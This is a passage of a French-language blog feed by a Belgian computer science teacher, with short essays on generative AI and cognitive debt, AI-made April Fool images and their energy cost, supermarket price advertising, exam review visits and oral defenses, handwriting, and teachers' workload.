&lt;p&gt;L&amp;rsquo;IA générative répète ce schéma à une vitesse et une échelle inédites. Les usages se diffusent avant qu&amp;rsquo;on comprenne les effets. Les investissements sont colossaux. Les questions restent sans réponse : que collecte-t-on exactement ? qui décide des valeurs encodées dans les modèles ? qui est responsable quand ça dérape ? quels sont les effets sur nos cerveaux ? sur nos interactions sociales ?&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Je fixe le curseur qui clignote. Le texte est là. Je l&amp;rsquo;ai écrit vite — trop vite, sans doute. Je vais le relire lentement. Pas parce que j&amp;rsquo;ai le temps. Parce que c&amp;rsquo;est la seule façon de ne pas rembourser demain une dette que je ne sais même pas que j&amp;rsquo;ai contractée.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédits : &lt;a href="https://www.rtbf.be/article/finirons-nous-par-ecrire-parler-et-penser-comme-chatgpt-11600236"&gt;Anne Alombert, interviewée par la RTBF à l&amp;rsquo;occasion de la parution de De la bêtise artificielle (La Découverte, 2024)&lt;/a&gt; — &lt;a href="https://www.facebook.com/rudy.demotte/posts/%C3%A9tats-unis-mise-%C3%A0-nu-votre-intimit%C3%A9-comme-prix-du-passagequand-le-bon-sens-num%C3%A9r/1402339091448211/"&gt;Rudy Demotte&lt;/a&gt;, billet « États-Unis : mise à nu » (2025) — &lt;a href="https://www.brainonllm.com/"&gt;Your Brain on ChatGPT: Accumulation of Cognitive Debt when Using an AI Assistant for Essay Writing Task&lt;/a&gt;&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Crédit photo perso, mon laptop, un terminal, vim, etc.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Et si ?</title><link href="http://blog.namok.be/2026-04-02-et-si.html" rel="alternate"/><published>2026-04-02T00:00:00+02:00</published><updated>2026-04-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-04-02:/2026-04-02-et-si.html</id><summary type="html">Et si ?</summary><content type="html">&lt;p&gt;&lt;img alt="Un poisson d'avril en papier, collé sur la fenêtre d'un train" src="/images/poisson-avril.png"&gt;&lt;/p&gt;
&lt;p&gt;Hier matin, nous étions le 1 avril 🐟 et la radio &lt;em&gt;La Première&lt;/em&gt; nous disait que les blagues du 1 avril étaient un peu passées de mode… puis j&amp;rsquo;ai été sur Facebook — je sais, c&amp;rsquo;est mal. Dopamine, &lt;em&gt;toussa&lt;/em&gt;. Je me soigne. — et j&amp;rsquo;ai bien ri. Parfois jaune. &lt;/p&gt;
&lt;p&gt;Ce matin, matin du 2 avril, c&amp;rsquo;est donc l&amp;rsquo;occasion de se dire « Et si ? ». C&amp;rsquo;est une amie qui m&amp;rsquo;y a fait penser et, c&amp;rsquo;est vrai que dans un coin de la tête pour pas mal de poissons d&amp;rsquo;avril, l&amp;rsquo;on peut se poser la question de la faisabilité. Se dire que finalement, c&amp;rsquo;est parfois pas si bête. &lt;/p&gt;
&lt;p&gt;Cette année, deux types de poissons se sont démarqués dans mon fil. Les uns avec une image générée par IA. Les autres avec un vrai reportage.&lt;/p&gt;
&lt;p&gt;La police nous propose ses nouveaux véhicules; tram, sous-marin et des journées découvertes; on te donne un flingue et tu peux être policier un jour. &lt;/p&gt;
&lt;p&gt;Une petite agence de voyage locale a acheté un avion à ses couleurs.&lt;/p&gt;
&lt;p&gt;Le cheval Bayard de la ducasse d&amp;rsquo;Ath était remplacé par un énorme poisson. &lt;/p&gt;
&lt;p&gt;La brasserie des Légendes propose les bières à tartiner tandis que la brasserie Bière à la Ferme présente un partenariat avec fake-water pour des gourdes et des capsules odorantes. Odeur, et donc goût, bière. &lt;/p&gt;
&lt;p&gt;Ces images sont au mieux convaincantes, au pire très bien faites. Le logo bien en place, l&amp;rsquo;ambiance crédible. Et si ? Et si c&amp;rsquo;était vrai ? En scrollant vite, je peux y croire — et c&amp;rsquo;est exactement là que la blague fonctionne. Parfois, l&amp;rsquo;idée n&amp;rsquo;est pas trop absurde — le poisson Bayard, &lt;em&gt;seriously&lt;/em&gt;. Elle aurait pu exister. C&amp;rsquo;est ça qui fait rire.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;autres ont mis le paquet. Pas juste une image. Un reportage.&lt;/p&gt;
&lt;p&gt;Notele nous présente Poulycroc comme ayant été choisi pour écrire et interpréter la chanson du mondial de foot en étant présent à chaque match des Diables Rouges. &lt;/p&gt;
&lt;p&gt;La maison des géants d&amp;rsquo;Ath a interviewé des porteurs de Goliath qui annonçait que le petit David serait interprété par sa sœur car le petit frère avait de trop mauvais résultats scolaire. Quelque chose du genre. &lt;/p&gt;
&lt;p&gt;La ministre Glatiny part en voyage jouer le rôle de Chantal Goya. Beau reportage. Belle autodérision. J&amp;rsquo;ai bien aimé. &lt;/p&gt;
&lt;p&gt;Ces blagues-là, elles demandent une équipe. Un scénario. Du matériel. De la préparation. Elles touchent davantage. Il y a du travail, une réelle envie de piéger 🦈.&lt;/p&gt;
&lt;p&gt;Outre la réflexion du « Et si ? » que je laisse à chacun — Oui, j&amp;rsquo;aurais bien aimé voir les poulys jouer avant chaque match — ce premier avril nous montre que l&amp;rsquo;Homme reste jouette. Oui, je dis sciemment l&amp;rsquo;Homme car c&amp;rsquo;est bien la partie masculine de l&amp;rsquo;Être humain — à part peut-être madame Tatcher — qui joue sans trop réfléchir à son environnement. À l&amp;rsquo;environnement de ses enfants. C&amp;rsquo;est l&amp;rsquo;homme qui a inventé la Formule 1, le Paris-Dakkar, les grands déplacements pour le foot…&lt;/p&gt;
&lt;p&gt;Des jouets. Des jouets d&amp;rsquo;adultes. Chers.&lt;/p&gt;
&lt;p&gt;Cette année, on est passé du poisson, découpé dans un vieux papier, et collé dans le dos à la génération d&amp;rsquo;une image faite par une IA. &lt;/p&gt;
&lt;p&gt;Quel en est le coût ?  &lt;/p&gt;
&lt;p&gt;Générer une image par IA, ce n&amp;rsquo;est pas neutre. Les datacenters qui font tourner ces modèles consomment en permanence. Former un grand modèle, c&amp;rsquo;est de l&amp;rsquo;énergie. Du courant. De l&amp;rsquo;eau. Une requête, c&amp;rsquo;est rien. Des milliards de requêtes par jour — et c&amp;rsquo;est là où on en est — c&amp;rsquo;est une autre histoire. Le vieux poisson découpé dans un journal : zéro watt. Zéro serveur.&lt;/p&gt;
&lt;p&gt;Ceci dit, c&amp;rsquo;est bien de jouer. C&amp;rsquo;est important de rire. De s&amp;rsquo;amuser.&lt;br&gt;
Mais peut-on continuer à choisir les jeux les plus lourds sans y penser ?&lt;br&gt;
Où est la limite entre profiter de la vie et participer à sa dégradation ? &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai peut-être un léger regret pour le poisson collé dans le dos. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo : une photo faite en 2014 avec un poisson collé dans mon dos par l&amp;rsquo;un de mes enfants. Je l&amp;rsquo;ai fait voyager — le poisson, pas l&amp;rsquo;enfant — jusque Bruxelles. Hier, j&amp;rsquo;ai aussi fait générer une image par l&amp;rsquo;IA. C&amp;rsquo;est mal. C&amp;rsquo;est facile. Ça marche bien. Aaaarrgh.&lt;/em&gt;&lt;/p&gt;</content><link href="http://blog.namok.be/images/poisson-avril.png" length="0" rel="enclosure" type="image/png"/></entry><entry><title>Nous, c'est le goût.</title><link href="http://blog.namok.be/2026-02-22-nous-cest-le-gout.html" rel="alternate"/><published>2026-02-22T00:00:00+01:00</published><updated>2026-02-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-02-22:/2026-02-22-nous-cest-le-gout.html</id><summary type="html">Nous, c'est le goût.</summary><content type="html">&lt;p&gt;&lt;img alt="tomate. variété : têton de vénus" src="/images/tomate-tetondevenus.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Nous, c&amp;rsquo;est le goût. &lt;/p&gt;
&lt;p&gt;D&amp;rsquo;aussi loin que remontent mes souvenirs, c&amp;rsquo;est la seule pub dont je me souviens qui parle du goût du produit. Pas du prix, pas de la promo, pas du « 2+1 gratuit ». Juste du goût.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je ne parle pas de pub sexiste &lt;a href="2014-05-08-comment-avoir-une-erection-en-allant-travailler.html"&gt;qui te donne une érection en allant travailler&lt;/a&gt; ou qui t&amp;rsquo;impose un &lt;a href="2013-05-11-t-es-une-fille-tu-auras-un-velo-rose.html"&gt;vélo rose pour ta fille alors qu&amp;rsquo;elle préfère un rouge&lt;/a&gt;. Aujourd&amp;rsquo;hui, on &lt;strong&gt;parle de prix et de bouffe&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Le sujet du jour, ce sont les pubs qui ne &lt;strong&gt;parlent&lt;/strong&gt; que du prix de la bouffe &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Lidl : « Chaque jour, les fruits et légumes les plus frais, au prix le plus bas du marché. »&lt;br&gt;
Colruyt : « Les prix les plus bas, toute l&amp;rsquo;année. »&lt;br&gt;
Aldi : « Le choix malin » ou « La qualité au meilleur prix. »&lt;br&gt;
Intermarché : « Tous unis contre la vie chère. »&lt;br&gt;
…&lt;/p&gt;
&lt;p&gt;2+1 gratuit.&lt;br&gt;
2+2 gratuit.  &lt;/p&gt;
&lt;p&gt;Qu&amp;rsquo;en est-il de la qualité ?&lt;br&gt;
Quel intérêt porte-t-on à la qualité ? &lt;/p&gt;
&lt;p&gt;Parfois je mange une tomate hors saison dans un sandwich ou dans un plat reçu quelque part. Aucun goût. En saison, je mange des tomates du jardin ou de mon maraicher — en l&amp;rsquo;occurrence ma maraichère — qui sont goutues. Rien à voir ; l&amp;rsquo;une est là pour être vendue, l&amp;rsquo;autre pour être mangée. &lt;/p&gt;
&lt;p&gt;La qualité des fruits et légumes par exemple n&amp;rsquo;est pas comparable d&amp;rsquo;un supermarché à l&amp;rsquo;autre. Contrairement à une canette identique partout, une tomate reste une tomate, mais sa fraicheur, son origine et ses conditions de culture varient. Les hypermarchés et les supermarchés jouent sur cette opacité en limitant le choix et en augmentant la rotation — ce qui réduit effectivement les pertes (estimées entre 5 et 7%) — et en prétendant ainsi offrir des produits plus frais. C&amp;rsquo;est malin, mais c&amp;rsquo;est aussi flou. Il est en fait très facile de mentir avec des chiffres quand on oublie de parler de qualité.&lt;/p&gt;
&lt;p&gt;Quel respect a-t-on envers le producteur ou la productrice ?&lt;/p&gt;
&lt;p&gt;Les producteurs ou productrices à taille humaine « moyenne » — comme les brasserie du coin 😉 — subissent une pression énorme de la part des hypermarchés qui dictent les prix, laissant peu de marge. Comment faire du « 2+2 » quand tu n&amp;rsquo;as pas l&amp;rsquo;énorme économie d&amp;rsquo;échelle des &lt;em&gt;gros&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;Pour les maraichers et maraichères — petites structures par essence — rares sont les magasins qui les acceptent à un prix juste. Il faut donc mettre en place de la vente directe, du CSA (&lt;em&gt;Community Supported Agriculture&lt;/em&gt;, Agriculture Soutenue par la Communauté) ou toute autres initiatives locales comme les groupes d&amp;rsquo;achat. Ce ne sont pas des solutions parfaites ni accessibles à tout le monde — je l&amp;rsquo;entends. Si la fin du mois est difficile, le prix bas n&amp;rsquo;est pas un choix mais une contrainte. Le système est cynique : il ne propose pas un choix, juste une illusion d&amp;rsquo;un bon prix. &lt;/p&gt;
&lt;p&gt;Le système ne récompense pas la qualité ni le respect du travail — il écrase simplement celles et ceux qui cherchent une production locale à taille humaine. Quand je dis &lt;em&gt;à taille humaine&lt;/em&gt;, il s&amp;rsquo;agit d&amp;rsquo;entreprises de moins de 60, 70 personnes où les gens se connaissent et peuvent entrer en relation. &lt;em&gt;Locale&lt;/em&gt; s&amp;rsquo;il s&amp;rsquo;agit de privilégier le circuit court. Les deux gardant une marge juste et une qualité contrôlée. &lt;/p&gt;
&lt;p&gt;Je suis convaincu qu’on peut manger sainement, en respectant les producteurices, à un prix raisonnable. Mais pour ça, il faudrait des pubs où l&amp;rsquo;on dit :
« Ce produit est bon. Il a du goût. Il est fait correctement. »&lt;/p&gt;
&lt;p&gt;Pas juste « moins cher ».&lt;br&gt;
Pas juste « malin ».&lt;br&gt;
Pas juste « prix le plus bas ».  &lt;/p&gt;
&lt;p&gt;Du goût.&lt;br&gt;
De la qualité.&lt;br&gt;
Du respect.  &lt;/p&gt;
&lt;p&gt;La prochaine fois que tu entends « prix le plus bas », demande-toi : au prix de quoi ?&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo, tomate de la variété « Téton de Vénus » au hasard du web.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je passe rapidement sur le grand remplacement du mot « emprunt » lorsque tu empruntes de l&amp;rsquo;argent pour acheter ta voiture par « &lt;em&gt;renting financier&lt;/em&gt; ». Wouah, &lt;em&gt;marqueteu·se&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;2&lt;/a&gt;&lt;/sup&gt; c&amp;rsquo;est quand même le boulot des &lt;em&gt;bullshits&lt;/em&gt; mots. Il ne faut pas (encore) de &lt;em&gt;renting financier&lt;/em&gt; pour acheter sa bouffe. Je sais qu&amp;rsquo;il faut parfois compter ou faire attention à la fin de mois — et on y reviendra.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;utilise sciemment un point médian parce que je suis un sale woke gauchiste. LOL… qui écrit des LOL parce que je reste un peu coincé en 1995.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Visite des copies</title><link href="http://blog.namok.be/2026-01-30-visite-des-copies.html" rel="alternate"/><published>2026-01-30T00:00:00+01:00</published><updated>2026-01-30T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-01-30:/2026-01-30-visite-des-copies.html</id><summary type="html">Visite des copies</summary><content type="html">&lt;p&gt;&lt;img alt="un robot essayant d'écrire à la plume" src="/images/robot-gemini.png"&gt;&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, c&amp;rsquo;était &lt;strong&gt;visite des copies&lt;/strong&gt;, le moment où les étudiants et étudiantes viennent… voir leur copie et comprendre pourquoi ils ou elles ont raté ou bien ont si peu ou encore, ce qu&amp;rsquo;il faut faire pour la seconde session. C&amp;rsquo;est éventuellement l&amp;rsquo;occasion de vérifier qu&amp;rsquo;il n&amp;rsquo;y a pas une erreur.&lt;/p&gt;
&lt;p&gt;Pour la petite histoire, j&amp;rsquo;ai mis 16,5/20 à un étudiant très assidu et très à l&amp;rsquo;aise dans un de mes cours. Au moment d&amp;rsquo;écrire sa cote, j&amp;rsquo;ai été surpris qu&amp;rsquo;il n&amp;rsquo;ait pas plus. Vu le nombre de copies à corriger, j&amp;rsquo;ai &lt;em&gt;refait un tour de mon bocal&lt;/em&gt; et suis passé à la copie suivante. En vrai &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; je m&amp;rsquo;étais trompé dans son total. &lt;em&gt;Bouh&lt;/em&gt;. Le jour de la visite des copies, il vient me voir et l&amp;rsquo;on parcourt sa copie. J&amp;rsquo;ai effectivement lu un peu trop vite sa feuille et nous constatons ensemble que son total n&amp;rsquo;était pas correct non plus. &lt;/p&gt;
&lt;p&gt;HOU !&lt;br&gt;
Deux erreurs.&lt;br&gt;
Corrigées.  &lt;/p&gt;
&lt;p&gt;La visite des copies a un sens. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Chez un collègue, un autre étudiant. Une autre situation. Puis j&amp;rsquo;entends l&amp;rsquo;étudiant, qui a 8/20, demander sans ambage &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; : y a pas moyen d&amp;rsquo;avoir 10 ? Heu… comment te dire ? Non. &lt;/p&gt;
&lt;p&gt;La visite des copies n&amp;rsquo;a aucun sens. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;La visite des copies n&amp;rsquo;est pas le lieu pour &lt;em&gt;gratter des points&lt;/em&gt;. &lt;em&gt;Spoiler alert&lt;/em&gt;, il n&amp;rsquo;y a pas de moment pour ça. Ça peut paraitre dur mais 10/20, c&amp;rsquo;est une mauvaise cote. Oui, ça valide le cours mais c&amp;rsquo;est pas bon. Parfois, on diplôme des personnes qui ont ±10 partout. Elles réussissent alors sans mention. Elles n&amp;rsquo;ont pas satisfait, ne se sont pas distinguées. Elles ont validé tout juste, tous leurs crédits.  &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est dommage.&lt;br&gt;
C&amp;rsquo;est médiocre. &lt;br&gt;
C&amp;rsquo;est pas grave. &lt;/p&gt;
&lt;p&gt;&lt;a href="2020-06-14-resultats-mediocres.html"&gt;Des résultats médiocres&lt;/a&gt;&lt;br&gt;
&lt;a href="2013-10-01-decret-paysage-marcourt-1.html"&gt;La réussite à 10.&lt;/a&gt;&lt;br&gt;
&lt;a href="2013-11-13-decret-paysage-marcourt-2.html"&gt;Le paysage de l&amp;rsquo;enseignement supérieur.&lt;/a&gt;&lt;br&gt;
&lt;a href="2014-10-01-decret-paysage-marcourt-3.html"&gt;Les points de balances en balance…&lt;/a&gt;  &lt;/p&gt;
&lt;p&gt;Deux, trois autres étudiants se sont présentés pour avoir un retour sur leur défense. J&amp;rsquo;explique un peu, je précise les aspects plus faibles que j&amp;rsquo;ai constatés.&lt;br&gt;
&lt;em&gt;That&amp;rsquo;s all&lt;/em&gt;&lt;br&gt;
Normal.  &lt;/p&gt;
&lt;p&gt;La visite des copies a un sens.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Cette visite des copies part d&amp;rsquo;une bonne intention comme l&amp;rsquo;enfer en est pavé et malgré ses dérives, elle me permet, chaque année, de penser, repenser, mon évaluation. Depuis belle lurette, je ne corrige plus, mais j&amp;rsquo;évalue.&lt;/p&gt;
&lt;p&gt;&lt;a href="2014-01-20-abcdef.html"&gt;Je ne corrige plus, j&amp;rsquo;évalue&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est une différence qui est toujours difficile à expliquer : l&amp;rsquo;évaluation n&amp;rsquo;est pas toujours une simple somme de points, c&amp;rsquo;est une appréciation globale sur la maitrise des compétences visées. &lt;/p&gt;
&lt;p&gt;Lorsque c&amp;rsquo;est une somme de points, je fais un QCM (questionnaire à choix multiples) et je teste de la restitution, de l&amp;rsquo;identification de bonnes réponses, de la compréhension voire de la mise en application pour des cas simples. Des connaissances déclaratives (&lt;em&gt;savoir que…&lt;/em&gt;) et c&amp;rsquo;est tout. Pour tester des compétences procédurales (&lt;em&gt;savoir comment…&lt;/em&gt; produire, créer, argumenter, expliquer, synthétiser…), je dois m&amp;rsquo;y prendre autrement. Mon évaluation n&amp;rsquo;est plus une somme de points. Elle est plus globale. Elle peut paraitre plus floue. &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;envie de choisir une évaluation globale plutôt qu&amp;rsquo;une somme de points est encore plus prégnante avec l&amp;rsquo;&lt;em&gt;arrivée&lt;/em&gt; de l&amp;rsquo;IAG (intelligence artificielle générative). Parce que ce que l&amp;rsquo;étudiant ou l&amp;rsquo;étudiante n&amp;rsquo;a pas produit à l&amp;rsquo;instant devant moi n&amp;rsquo;est pas garanti &lt;em&gt;fait maison&lt;/em&gt;. Un projet, un travail fait en partie à la maison &lt;strong&gt;doit&lt;/strong&gt; être défendu oralement (&lt;em&gt;évaluation authentique&lt;/em&gt;). Cette défense est centrale et permet à l&amp;rsquo;étudiant ou l&amp;rsquo;étudiante de confirmer qu&amp;rsquo;elle est l&amp;rsquo;autrice des choix d&amp;rsquo;implémentation, qu&amp;rsquo;elle les comprend et peut les expliquer. La note est intimement liée à la prestation orale et est plus difficilement &lt;em&gt;justifiable&lt;/em&gt;. C&amp;rsquo;est loin d&amp;rsquo;être une somme de points. Elle valide ou invalide des éléments d&amp;rsquo;une grille de correction sans en faire une somme. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;« Explique moi tes choix. Maintenant. Sans tes notes. Sans ton code sous les yeux. Juste ton cerveau et toi. »&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Finalement, cette visite des copies — lorsqu&amp;rsquo;elle n&amp;rsquo;est pas un marchandage — reste un bel espace pour parler de progression plutôt que de chiffres. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo Gemeni : A vintage, slightly rusty clockwork robot sitting at a wooden school desk, awkwardly holding a traditional quill pen. The robot is trying to write on a pile of aged parchment papers. Soft cinematic lighting, dusty atmosphere, &amp;ldquo;Steampunk meets old classroom&amp;rdquo; aesthetic. Hand-drawn illustration style with fine ink lines and subtle watercolor textures. Minimalist background to focus on the struggle of the robot with the delicate pen.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;essaie de parler jeune.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Oui, je parle &lt;em&gt;vieux&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Écrire à la main</title><link href="http://blog.namok.be/2026-01-28-ecrire-a-la-main.html" rel="alternate"/><published>2026-01-28T00:00:00+01:00</published><updated>2026-01-28T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-01-28:/2026-01-28-ecrire-a-la-main.html</id><summary type="html">Écrire à la main</summary><content type="html">&lt;p&gt;&lt;img alt="extrait de texte mal écrit janv. 2026" src="/images/manuscrit.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Les corrections sont terminées.&lt;br&gt;
Je n&amp;rsquo;aime pas trop corriger.&lt;/p&gt;
&lt;p&gt;Certaines copies ou parties de copies sont illisibles. Un peu comme un  électroencéphalogramme pendant une crise d&amp;rsquo;épilepsie ? Je ne les blâme pas, aujourd&amp;rsquo;hui, on tape. On &lt;em&gt;swipe&lt;/em&gt;. On dicte… et on n&amp;rsquo;écrit plus. L&amp;rsquo;écriture manuscrite est devenue est en voie de disparition. Optionnelle ? Désuète ? &lt;/p&gt;
&lt;p&gt;Un collègue me dit d&amp;rsquo;ailleurs que l&amp;rsquo;an prochain, les étudiants et étudiantes pourraient répondre « sur pc » pour que ce soit lisible. &lt;/p&gt;
&lt;p&gt;Mais non.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lorsque la main forme, le cerveau apprend&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;rsquo;ai vu passer une vidéo de Grégoire Borst, psychologue, relatant une étude dans l&amp;rsquo;enseignement de la lecture. L&amp;rsquo;&lt;strong&gt;écriture manuscrite&lt;/strong&gt; participe à l&amp;rsquo;apprentissage de la &lt;strong&gt;lecture&lt;/strong&gt;. Le fait de former les lettre à la main permet de mieux les reconnaitre. C&amp;rsquo;est de la &lt;strong&gt;motricité fine&lt;/strong&gt;. Celle là qui est utilisée pour le laçage des lacets. Exit les scratchs, donc.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;écriture manuscrite est également plus &lt;strong&gt;lente&lt;/strong&gt; — enfin, normalement. Si l&amp;rsquo;on ne tape pas à 2 doigts. Et cette lenteur est précieuse. Tout d&amp;rsquo;abord parce que tout va trop vite mais surtout parce que l&amp;rsquo;écriture étant plus lente que la pensée, le cerveau a le temps de synthétiser l&amp;rsquo;information. De l&amp;rsquo;assimiler. De la digérer. Quand on écrit à la main, on ne se contente pas de recopier bêtement, on enclenche une pensée plus analytique, plus délibérative.&lt;/p&gt;
&lt;p&gt;Dans la même vague, il est prouvé que les personnes qui prennent des notes à la main se souviennent de plus d&amp;rsquo;éléments d&amp;rsquo;un cours que celles qui tapent sur un clavier. Pourquoi ? Parce qu&amp;rsquo;elles ont dû faire des choix. Trier. Reformuler. Synthétiser. Pendant qu&amp;rsquo;on écrit, on pense.&lt;/p&gt;
&lt;p&gt;— Pour un prof d&amp;rsquo;info, tu es rétrograde.&lt;br&gt;
— Pas vraiment. &lt;/p&gt;
&lt;p&gt;Je le disais déjà &lt;em&gt;jadis&lt;/em&gt;, en tant que futur informaticien ou informaticienne, un bon apprentissage est de connaitre son clavier. Mais pas que. &lt;/p&gt;
&lt;p&gt;&lt;a href="2015-09-11-comment-bien-commencer-son-bachelor-en-informatique.html"&gt;Comment bien commencer son bachelor en informatique.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Il est tout autant important de pouvoir prendre note. Et prendre note, c&amp;rsquo;est écrire. &lt;/p&gt;
&lt;p&gt;&lt;a href="2015-03-03-prise-de-notes-cornell.html"&gt;Prendre note avec le système Cornell.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sans écrire, j&amp;rsquo;ai peur que l&amp;rsquo;on ne retienne rien. On collecte des données sans les traiter. On remplit un disque dur sans index.&lt;/p&gt;
&lt;p&gt;Bien écrire, c&amp;rsquo;est toucher quelqu&amp;rsquo;un. C&amp;rsquo;est réussir à exprimer clairement ses idées. Ça prend du temps. Ce temps permet de réfléchir au message que l&amp;rsquo;on veut transmettre. De le soigner. Ce temps passé, l&amp;rsquo;engagement du corps et de l&amp;rsquo;esprit donnent une autre dimension au texte écrit. On y met plus de soi. Et ça accroit sa valeur.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est sûr, les prochains examens seront encore manuscrits.&lt;/p&gt;
&lt;p&gt;En ce début 2026, je sais qu&amp;rsquo;écrire à la main n&amp;rsquo;est pas un retour en arrière. Je sais qu&amp;rsquo;il est temps de ralentir. De reprendre un bic. De former des lettres. De laisser le cerveau faire son travail pendant que la main trace. &lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cet article s&amp;rsquo;inspire d&amp;rsquo;une vidéo de &lt;a href="https://fr.wikipedia.org/wiki/Grégoire_Borst"&gt;Grégoire Borst&lt;/a&gt;, psychologue et professeur de psychologie du développement et de neurosciences cognitives de l&amp;rsquo;éducation.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo, extrait d&amp;rsquo;une copie.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Faut-il se justifier ?</title><link href="http://blog.namok.be/2025-11-10-faut-il-se-justifier.html" rel="alternate"/><published>2025-11-10T00:00:00+01:00</published><updated>2025-11-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-11-10:/2025-11-10-faut-il-se-justifier.html</id><summary type="html">Faut-il se justifier ?</summary><content type="html">&lt;p&gt;&lt;img alt="3 enseignantes devant un tableau sur lequel il est écrit 'i promise. i work'" src="/images/teachers-3.png"&gt;&lt;/p&gt;
&lt;p&gt;Je lis régulièrement — et particulièrement ces jours-ci où nous sommes sous les feux de l&amp;rsquo;actu — des enseignants et des enseignantes qui tentent de justifier « qu&amp;rsquo;ils travaillent ». Ils travaillent plus que les 20 heures — oups, pardon : les 20 &lt;em&gt;périodes de 50 minutes&lt;/em&gt;. C&amp;rsquo;est &lt;em&gt;encore&lt;/em&gt; moins que ce que l&amp;rsquo;on croit : les corrections jusqu&amp;rsquo;à minuit, les réunions pédagogiques, les préparations de cours, les conseils de classe, les rencontres avec les parents, les formations continues obligatoires ou volontaires (&lt;em&gt;si si&lt;/em&gt;), la gestion administrative, les mails le week-end, les projets pédagogiques à monter, les bulletins à remplir, la différenciation à mettre en place, les adaptations pour les élèves à besoins spécifiques, les surveillances d&amp;rsquo;étude, la participation aux activités extra-scolaires, le fait qu&amp;rsquo;on soit payé 10 mois sur 12…&lt;br&gt;
La liste est longue.&lt;br&gt;
La liste est différente pour celles et ceux de maternelle, du primaire, du secondaire inférieur, du secondaire supérieur voire du supérieur tout court (qui, eux, travaillent encore moins &lt;code&gt;#sarcasm&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Je pense que ce n&amp;rsquo;est pas une bonne idée de se justifier.&lt;/p&gt;
&lt;p&gt;Se justifier, c&amp;rsquo;est se placer dans une position de &lt;em&gt;coupable&lt;/em&gt;. C&amp;rsquo;est vrai, &lt;em&gt;enseignant-fainéant&lt;/em&gt;. C&amp;rsquo;est jouer leur jeu. C&amp;rsquo;est accepter implicitement qu&amp;rsquo;il y a un doute légitime sur notre investissement professionnel. Et c&amp;rsquo;est exactement ce que cherchent celleux qui dénigrent notre métier.&lt;/p&gt;
